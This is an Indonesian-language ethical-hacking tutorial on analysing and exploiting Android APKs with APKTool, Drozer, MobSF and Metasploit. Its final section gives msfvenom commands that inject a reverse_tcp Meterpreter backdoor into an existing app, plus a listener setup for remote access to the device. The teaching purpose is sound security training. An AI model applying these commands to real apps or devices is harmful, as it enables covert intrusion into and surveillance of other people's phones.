Hands-on: Analisis dan Eksploitasi APK Android
Untuk melakukan analisis dan eksploitasi APK Android dalam kuliah **ethical hacking**, kita akan menggunakan beberapa tools di Kali Linux 2024.3 seperti **APKTool**, **Drozer**, dan **MobSF**. Berikut adalah langkah-langkah yang bisa diikuti:
- 1. **Analisis APK Android dengan APKTool**
APKTool digunakan untuk membongkar dan memodifikasi APK. Kita bisa memanfaatkan APKTool untuk dekompilasi APK dan melihat source code aplikasi, terutama file manifest yang berisi izin-izin penting.
- Langkah-langkah:
1. **Install APKTool**: Pastikan APKTool sudah terinstall. Jika belum, install dengan perintah:
```bash sudo apt install apktool ```
2. **Dekomplikasi APK**: Untuk menganalisis APK, pertama-tama kita dekompilasi file APK tersebut:
```bash apktool d target_app.apk -o output_folder ``` Ini akan mengekstrak isi dari APK ke dalam folder `output_folder`.
3. **Analisis File AndroidManifest.xml**: File ini berisi izin-izin (permissions) yang diminta oleh aplikasi. Buka dan analisis apakah ada izin berbahaya seperti akses ke SMS, penyimpanan, atau lokasi yang tidak diperlukan.
4. **Memodifikasi dan Kompilasi Ulang APK**: Setelah memodifikasi, APK dapat dikompilasi ulang:
```bash apktool b output_folder -o new_app.apk ```
5. **Penandatanganan APK**: Setelah APK baru dihasilkan, tandatangani dengan kunci:
```bash jarsigner -keystore my-release-key.keystore new_app.apk alias_name ```
- Contoh:
Misalkan aplikasi meminta izin akses SMS tanpa alasan yang jelas. Kita bisa menggunakan APKTool untuk memodifikasi manifest dan menonaktifkan izin tersebut, lalu mengkompilasi ulang aplikasi.
- 2. **Eksploitasi Aplikasi Menggunakan Drozer**
Drozer adalah tool yang sangat kuat untuk mengeksploitasi APK Android, khususnya untuk memeriksa kelemahan di dalam komponen aplikasi seperti aktivitas, broadcast receivers, dan content providers.
- Langkah-langkah:
1. **Install Drozer**: Install drozer di Kali Linux.
```bash sudo apt install drozer ```
2. **Setup Drozer di Perangkat Android**: Instal `drozer-agent.apk` di perangkat Android dan jalankan untuk mendapatkan akses shell:
```bash adb install drozer-agent.apk adb forward tcp:31415 tcp:31415 ```
3. **Analisis Aplikasi dengan Drozer**: Setelah setup, koneksikan Drozer dengan aplikasi target:
```bash drozer console connect ```
4. **Pemeriksaan Permukaan Serangan**: Gunakan perintah berikut untuk menganalisis permukaan serangan dari aplikasi:
```bash run app.package.info -a com.example.targetapp ```
5. **Eksploitasi Komponen yang Rentan**: Jika aplikasi mengekspos komponen seperti activity atau content provider, kita bisa mengeksploitasi kelemahan ini. Sebagai contoh, jika ada `ContentProvider` yang rentan:
```bash run app.provider.query content://com.example.targetapp.provider ```
- Contoh Eksploitasi:
Misalkan sebuah aplikasi memiliki `content provider` yang tidak diatur dengan benar, kita bisa mengakses data sensitif dari aplikasi menggunakan Drozer.
- 3. **Analisis Vulnerabilitas APK dengan MobSF**
Mobile Security Framework (MobSF) adalah tool otomatis yang mempermudah analisis keamanan APK secara menyeluruh.
- Langkah-langkah:
1. **Install MobSF**: Jika MobSF belum terinstal, gunakan Docker untuk menginstall:
```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ```
2. **Upload APK**: Setelah MobSF berjalan, buka browser dan akses `http://localhost:8000`. Upload APK yang ingin dianalisis.
3. **Analisis Otomatis**: MobSF akan secara otomatis melakukan analisis statik pada APK, termasuk memeriksa komponen berbahaya, izin yang tidak semestinya, dan potensi eksploitasi.
- Contoh:
Dengan MobSF, kita bisa menemukan kelemahan umum seperti *hardcoded credentials*, *insecure storage*, dan *weak cryptographic implementations*.
- 4. **Menggunakan APK untuk Memasang Backdoor**
Eksploitasi lanjutan bisa mencakup memasang backdoor di APK menggunakan Metasploit.
- Langkah-langkah:
1. **Membuat APK Backdoor dengan Metasploit**:
```bash msfvenom -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -o backdoor.apk ```
2. **Inject Backdoor ke APK**:
```bash msfvenom -x original_app.apk -p android/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -o infected_app.apk ```
3. **Menjalankan Listener**:
```bash msfconsole use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LHOST <IP> set LPORT <PORT> exploit ```
4. **Jalankan APK di Target**: Setelah APK backdoor diinstal di perangkat target, kita bisa mendapatkan sesi Meterpreter dan mengakses perangkat secara jarak jauh.
- Kesimpulan
Dengan menggunakan kombinasi tools seperti **APKTool**, **Drozer**, dan **MobSF**, kita dapat melakukan analisis mendalam terhadap APK Android serta mengeksploitasi kerentanannya. Langkah-langkah ini mencakup analisis source code, pengujian permukaan serangan, dan eksploitasi komponen rentan.